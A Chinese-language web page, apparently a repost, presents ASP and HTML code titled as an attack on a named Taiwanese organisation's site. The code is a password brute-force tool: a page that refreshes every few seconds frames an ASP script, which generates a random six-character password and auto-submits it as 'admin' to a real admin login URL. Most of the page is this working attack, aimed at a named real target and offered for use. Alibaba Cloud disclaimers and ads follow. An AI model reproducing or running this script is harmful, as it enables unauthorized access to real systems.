發布攻擊台灣“國旗”設計網的ASP代碼

來源:互聯網
上載者:User

運行test.htm後進行密碼登陸測試~!
-------------------------test.htm代碼如下:
<HTML>
<HEAD>
<TITLE></TITLE>
<meta HTTP-EQUIV="refresh" CONTENT="5">
</HEAD>
<BODY>
<iframe src="test.asp" width=859 height=406 name="top" frameborder=0 marginwidth="1"

marginheight="1" border="0" scrolling="no"></iframe>
</body>
</html>
--------------------------test.asp代碼如下:
<%
Function RoundStr(StrLng)
 TmpStr = "0123456789abcdefghijklmnopqrstopwxyz"
'TmpStr = "0123456789" 
  for jjj = 1 to StrLng
         Randomize
   strLen = Len(TmpStr)
   t = Round((RND * (strLen-1))+1)
   s = s & mid(TmpStr,t,1)
  Next
 RoundStr = s
End Function
a=RoundStr(6)
%>
<HTML>
<HEAD>
<TITLE></TITLE>
<META HTTP-EQUIV="expires" CONTENT="0">
</HEAD>
<BODY topmargin="0" leftmargin="0" rightmargin="0" bottommargin="0">
<form method="POST" action="http://www.tsu.org.tw/admin/login.php" name="form1">
<font size=2><b>名稱:</b></font>
<INPUT NAME="Username" VALUE="admin" maxlength=256 size=25><font size=2><b> <font size=2><b>口令:</b></font>
<INPUT NAME="Password" VALUE="<%=a%>" TYPE=text maxlength=256 size=25>
<INPUT TYPE=submit VALUE="登 錄"></FORM>
<p>當前測試的密碼為:<font style=font:100pt><b><%=a%></b></font></p>
</BODY>
</HTML>
<script language="javascript">
<!--
this.document.forms[0].submit()
//-->
</script>

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.